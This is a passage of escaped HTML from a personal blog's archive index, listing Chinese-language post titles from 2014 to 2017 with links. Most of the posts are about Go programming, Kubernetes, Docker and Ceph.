href=\"https://tonybai.com/2017/10/24/go-evolution-for-ten-years-an-interview-by-osc/\"\u003e源创会开源访谈：十年成长，Go语言的演化之路\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/10/23/the-speech-script-practice-on-deploying-a-ha-harbor-cluster-for-osc-shenyang-2017/\"\u003e源创会2017沈阳站讲稿：基于Harbor的高可用企业级私有容器镜像仓库部署实践\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/10/16/out-of-node-resource-handling-in-kubernetes-cluster/\"\u003eKubernetes节点资源耗尽状态的处理\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201709\"\u003e2017.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/09/26/some-notes-about-deploying-kubernetes-dashboard-1-7-0/\"\u003eKubernetes Dashboard 1.7.0部署二三事\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/09/24/go-ten-years-and-climbing/\"\u003eGo语言：成长的十年\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201708\"\u003e2017.08\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/08/15/hello-apollo/\"\u003eHello, Apollo\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/08/09/fix-kube-apiserver-restart-exceptionally-in-k8s-1-7-3/\"\u003e解决Kubernetes 1.7.3 kube-apiserver频繁异常重启的问题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/08/01/hello-ros/\"\u003eHello, ROS\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201707\"\u003e2017.07\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/07/24/ride-a-shared-bike/\"\u003e体验共享单车\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/07/20/fix-cannot-access-dashboard-in-k8s-1-6-4/\"\u003e解决Kubernetes 1.6.4 Dashboard无法访问的问题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/07/14/some-changes-in-go-1-9/\"\u003eGo 1.9中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/07/04/setup-go-runtime-metrics-for-yourself/\"\u003e搭建你自己的Go Runtime metrics环境\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201706\"\u003e2017.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/06/30/go-get-go-packages-in-private-code-repo-by-govanityurls/\"\u003e使用govanityurls让私有代码仓库中的go包支持go get\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/06/28/set-custom-go-get-import-path-for-go-package/\"\u003e定制Go Package的Go Get导入路径\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/06/27/an-intro-about-go-portability/\"\u003e也谈Go的可移植性\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/06/25/why-aliens-have-not-arrived-at-earth/\"\u003e外星人为什么还没降落到地球上？\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/06/23/an-intro-about-goroutine-scheduler/\"\u003e也谈goroutine调度器\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/06/15/fix-auth-fail-when-login-harbor-registry/\"\u003e解决登录Harbor Registry时鉴权失败的问题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/06/09/setup-a-high-availability-private-registry-based-on-harbor-and-cephfs/\"\u003e基于Harbor和CephFS搭建高可用Private Registry\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/06/08/first-glimpse-of-dep/\"\u003e初窥dep\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201705\"\u003e2017.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/05/18/an-interview-from-operation-partner-in-2017/\"\u003e专访稿：兴趣才是第一生产力\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/05/15/setup-a-ha-kubernetes-cluster-based-on-kubeadm-part2/\"\u003e一步步打造基于Kubeadm的高可用Kubernetes集群-第二部分\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/05/15/setup-a-ha-kubernetes-cluster-based-on-kubeadm-part1/\"\u003e一步步打造基于Kubeadm的高可用Kubernetes集群-第一部分\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/05/09/exception-caused-by-kubernetes-node-hostname-change/\"\u003eKubernetes集群node主机名修改导致的异常\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/05/08/mount-cephfs-acrossing-nodes-in-kubernetes-cluster/\"\u003eKubernetes集群跨节点挂载CephFS\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201704\"\u003e2017.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/04/20/go-coding-in-go-way/\"\u003eGo coding in go way\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/04/18/my-experience-of-gopherchina-2017-as-a-speaker/\"\u003eGopherChina2017以讲师身份参会感悟\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/04/06/an-interview-with-me-as-a-lecturer-of-gopherchina-2017/\"\u003eGopherChina讲师专访\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201703\"\u003e2017.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/03/03/implement-kubernetes-cluster-level-logging-with-fluentd-and-elasticsearch-stack/\"\u003e使用Fluentd和ElasticSearch Stack实现Kubernetes的集群Logging\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/03/03/access-api-server-from-a-pod-through-serviceaccount/\"\u003e在Kubernetes Pod中使用Service Account访问API Server\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201702\"\u003e2017.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/02/20/use-host-timezone-in-kubernetes-pods/\"\u003eKubernetes集群Pod使用Host的本地时区设置\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/02/17/temp-fix-for-pod-unable-mount-cephrbd-volume/\"\u003eKubernetes Pod无法挂载ceph RBD存储卷的临时解决方法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/02/09/rolling-update-for-services-in-kubernetes-cluster/\"\u003eKubernetes集群中Service的滚动更新\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/02/06/build-your-first-neural-network-with-tensorflow/\"\u003eTensorFlow入门：零基础建立第一个神经网络\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/02/03/some-changes-in-go-1-8/\"\u003eGo 1.8中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201701\"\u003e2017.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/01/24/explore-kubernetes-cluster-installed-by-kubeadm/\"\u003e以Kubeadm方式安装的Kubernetes集群的探索\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/01/20/integrate-heapster-for-kubernetes-dashboard/\"\u003eKubernetes Dashboard集成Heapster\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/01/19/install-dashboard-addon-for-k8s/\"\u003eKubernetes集群Dashboard插件安装\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/01/17/understanding-flannel-network-for-kubernetes/\"\u003e理解Kubernetes网络之Flannel网络\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/01/11/understanding-linux-network-namespace-for-docker-network/\"\u003e理解Docker容器网络之Linux Network Namespace\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/01/05/leave-hand-made-homework-to-kids/\"\u003e把学校留的手工作业还给孩子们\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2017/01/03/2016-summary/\"\u003e2016小结\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零一六\"\u003e二零一六\u003c/h3\u003e\n\u003ch4 id=\"201612\"\u003e2016.12\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/12/30/install-kubernetes-on-ubuntu-with-kubeadm/\"\u003e使用Kubeadm安装Kubernetes\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/12/27/when-docker-meets-systemd/\"\u003e当Docker遇到systemd\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/12/23/write-go-code-in-vscode/\"\u003e使用Visual Studio Code辅助Go源码编写\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/12/21/how-to-use-timer-reset-in-golang-correctly/\"\u003e论golang Timer Reset方法使用的正确姿势\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/12/18/build-a-blog-website-for-my-daughter/\"\u003e给女儿搭建一个博客站点\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/12/06/an-intro-to-wukong-fulltext-search-engine/\"\u003e使用wukong全文搜索引擎\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201611\"\u003e2016.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/11/25/the-security-settings-for-kubernetes-cluster/\"\u003eKubernetes集群的安全配置\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/11/22/deploy-nginx-service-for-the-services-in-kubernetes-cluster/\"\u003e为Kubernetes集群中服务部署Nginx入口服务\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/11/21/kuberize-ceph-rbd-api-service/\"\u003eKuberize Ceph RBD API服务\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/11/17/nginx-config-hot-reloading-approach-for-kubernetes-cluster/\"\u003eKubernetes集群中的Nginx配置热更新方案\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/11/16/how-to-pull-images-from-private-registry-on-kubernetes-cluster/\"\u003eKubernetes从Private Registry中拉取容器镜像的方法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/11/09/operate-ceph-rbd-images-with-go-ceph/\"\u003e使用go-ceph管理Ceph RBD映像\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/11/07/integrate-kubernetes-with-ceph-rbd/\"\u003e使用Ceph RBD为Kubernetes集群提供存储卷\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201610\"\u003e2016.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/10/23/install-dns-addon-for-k8s/\"\u003eKubernetes集群DNS插件安装\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003e一篇文章带你了解Kubernetes安装\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/10/11/some-problems-under-swarm-mode-in-docker-1-12/\"\u003eDocker 1.12 swarm模式下遇到的各种问题\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201609\"\u003e2016.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/09/13/package-import-in-golang-vs-in-java/\"\u003eGo包导入与Java的差别\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/09/08/upgrade-vim-go/\"\u003evim-go更新小记\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201608\"\u003e2016.08\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/08/05/whose-appeals-does-smartcity-meet/\"\u003e智慧城市到底满足的是谁的诉求\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201606\"\u003e2016.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/06/21/some-changes-in-go-1-7/\"\u003eGo 1.7中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/06/01/gossip-in-smart-city/\"\u003e闲话智慧城市\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201605\"\u003e2016.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/05/16/understanding-unikernels/\"\u003e理解Unikernels\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/05/04/deploy-devstack/\"\u003e部署devstack\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201604\"\u003e2016.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/04/18/my-experience-of-gopherchina2016/\"\u003eGopherChina2016后记\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/04/14/an-introduction-about-rancher/\"\u003eRancher使用入门\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201603\"\u003e2016.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/03/25/ship-docker-container-log-with-filebeat/\"\u003e使用Filebeat输送Docker容器的日志\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/03/15/modern-application-architecture-for-the-enterprise-with-docker-caas/\"\u003e现代企业应用架构-使用Docker CaaS交付敏捷的、可移植的、受控的应用\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201602\"\u003e2016.02\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/02/15/understanding-docker-multi-host-networking/\"\u003e理解Docker跨多主机容器网络\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/02/21/some-changes-in-go-1-6/\"\u003eGo 1.6中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/02/26/deploy-a-private-docker-registry/\"\u003e部署私有Docker Registry\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201601\"\u003e2016.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/01/18/understanding-binding-docker-container-ports-to-host/\"\u003e理解Docker容器端口映射\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2016/01/15/understanding-container-networking-on-single-host/\"\u003e理解Docker单机容器网络\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零一五\"\u003e二零一五\u003c/h3\u003e\n\u003ch4 id=\"201512\"\u003e2015.12\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/12/08/go-fuzz-intro/\"\u003eGo语言随机测试工具go-fuzz\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201511\"\u003e2015.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/11/17/tcp-programming-in-golang/\"\u003eGo语言TCP Socket编程\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201510\"\u003e2015.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/10/30/error-handling-in-go/\"\u003eGo语言错误处理\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201509\"\u003e2015.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/09/23/intro-of-gohugo/\"\u003e使用Hugo搭建静态站点\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/09/19/write-blog-in-markdown/\"\u003e开始使用Markdown写Blog\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/09/17/7-things-you-may-not-pay-attation-to-in-go/\"\u003e关于Go，你可能不注意的7件事\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201508\"\u003e2015.08\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/08/27/understanding-go-statements-evaluating-order/\"\u003e理解Golang语句中的求值顺序\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/08/25/go-debugging-profiling-optimization/\"\u003eGo程序调试、分析与优化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/08/22/how-to-view-golang-tech-slide/\"\u003eGolang技术幻灯片的查看方法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/08/22/intro-of-using-weedfs/\"\u003eweed-fs使用简介\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/08/05/godep-support-go15-vendor/\"\u003egodep支持Go 1.5 vendor\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201507\"\u003e2015.07\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/07/31/understand-go15-vendor/\"\u003e理解Go 1.5 vendor\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/07/27/make-a-mirror-of-gotalks-appsport-app/\"\u003e制作go-talks.appspot.com应用镜像\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/07/20/install-coreos-by-coreos-vagrant/\"\u003e使用core-vagrant方式安装CoreOS\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/07/10/some-changes-in-go-1-5/\"\u003eGo 1.5中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/07/06/implement-distributed-services-registery-and-discovery-by-consul/\"\u003e使用consul实现分布式服务注册和发现\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/07/01/config-solutions-for-golang-app/\"\u003eGolang程序配置方案小结\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201506\"\u003e2015.06\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/06/23/concurrency-and-parallelism/\"\u003e也谈并发与并行\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/06/17/appdash-distributed-systems-tracing-in-go/\"\u003eAppdash，用Go实现的分布式系统跟踪神器\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/06/07/barca-win-treble-twice/\"\u003e巴萨“三冠王”梅开二度，梅球王预定第五座金球奖杯\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/06/04/caddy-a-web-server-in-go/\"\u003eCaddy，一个用Go实现的Web Server\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201505\"\u003e2015.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/05/14/ngrok-source-intro/\"\u003engrok原理浅析\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201504\"\u003e2015.04\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/04/30/go-and-https/\"\u003eGo和HTTPS\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/04/12/fix-hacked-blog-site/\"\u003eBlog站点被黑以及问题解决过程\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201503\"\u003e2015.03\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/03/14/selfhost-ngrok-service/\"\u003e搭建自己的ngrok服务\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/03/09/understanding-import-packages/\"\u003e理解Golang包导入\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201501\"\u003e2015.01\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/01/23/three-issues-about-go-code/\"\u003e近期遇到的3个Golang代码问题\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2015/01/13/a-hole-about-variable-scope-in-golang/\"\u003e一个有关Golang变量作用域的坑\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"二零一四\"\u003e二零一四\u003c/h3\u003e\n\u003ch4 id=\"201412\"\u003e2014.12\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/12/31/2014-summary/\"\u003e2014小结\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/12/30/send-custom-service-text-msg-for-wechat-public-platform-dev-in-golang/\"\u003e使用Golang开发微信公众平台-发送客服消息\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/12/24/recv-encrypted-text-msg-for-wechat-public-platform-dev-in-golang/\"\u003e使用Golang开发微信公众平台-接收加密消息\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/12/20/receive-text-for-wechat-public-platform-dev-in-golang/\"\u003e使用Golang开发微信公众平台-接收文本消息\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/12/18/access-validation-for-wechat-public-platform-dev-in-golang/\"\u003e使用Golang开发微信公众平台-接入验证\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201411\"\u003e2014.11\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/11/28/migrate-blog-to-digitalocean-vps/\"\u003e将Blog迁移到DigitalOcean的VPS上\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/11/15/how-goroutines-work/\"\u003eGoroutine是如何工作的\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/11/14/effective-error-handling-in-go/\"\u003eGo语言的有效错误处理\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/11/12/go-5-years/\"\u003eGo，5周年\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/11/07/golang-development-environment-for-vim/\"\u003eGolang开发环境搭建-Vim篇\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/11/05/how-stacks-are-handled-in-go/\"\u003eGo语言是如何处理栈的\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/11/04/some-changes-in-go-1-4/\"\u003eGo 1.4中值得关注的几个变化\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/11/01/migrate-wordpress-into-docker-container/\"\u003eWordPress迁移到Docker容器\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201410\"\u003e2014.10\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/10/30/a-hole-of-godep/\"\u003egodep的一个“坑”\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/10/29/crack-windows-logon-password-under-virtualbox/\"\u003eVirtualBox虚拟机下Windows登录密码破解方法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/10/25/golang-history/\"\u003eGolang的演化历程\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/10/22/golang-testing-techniques/\"\u003eGolang测试技术\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/10/21/organize-golang-code/\"\u003e组织Golang代码\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/10/20/cross-compilation-with-golang/\"\u003eGolang跨平台交叉编译\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/10/14/discussion-on-the-approach-to-modify-system-variables-in-docker/\"\u003e探讨Docker容器中修改系统变量的方法\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/10/12/discussion-on-shared-mem-support-in-docker/\"\u003e探讨docker容器对共享内存的支持情况\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/10/09/gracefully-shutdown-app-running-in-docker/\"\u003edocker容器内服务程序的优雅退出\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201409\"\u003e2014.09\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/09/29/a-channel-compendium-for-golang/\"\u003eGolang Channel用法简编\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/09/26/install-docker-on-ubuntu-server-1404/\"\u003eUbuntu Server 14.04安装docker\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201408\"\u003e2014.08\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/08/04/amazon-inapp-purchasing-and-gamecirle-in-cocos2dx/\"\u003eCocos2d-x集成Amazon内购和GameCircle服务\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201407\"\u003e2014.07\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/07/15/will-new-soccer-king-appear/\"\u003e世界足球的那个“王”还会出现吗？\u003c/a\u003e》\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"201405\"\u003e2014.05\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/05/13/sprite-draw-principles-of-cocos2dx-screen-adaptation/\"\u003eCocos2d-x屏幕适配之Sprite绘制原理\u003c/a\u003e》\u003c/li\u003e\n\u003cli\u003e《\u003ca href=\"https://tonybai.com/2014/05/01/integrate-cocos2dx3rc0-with-admob/\"\u003eCocos2d-x 3.0rc0集成Google AdMob 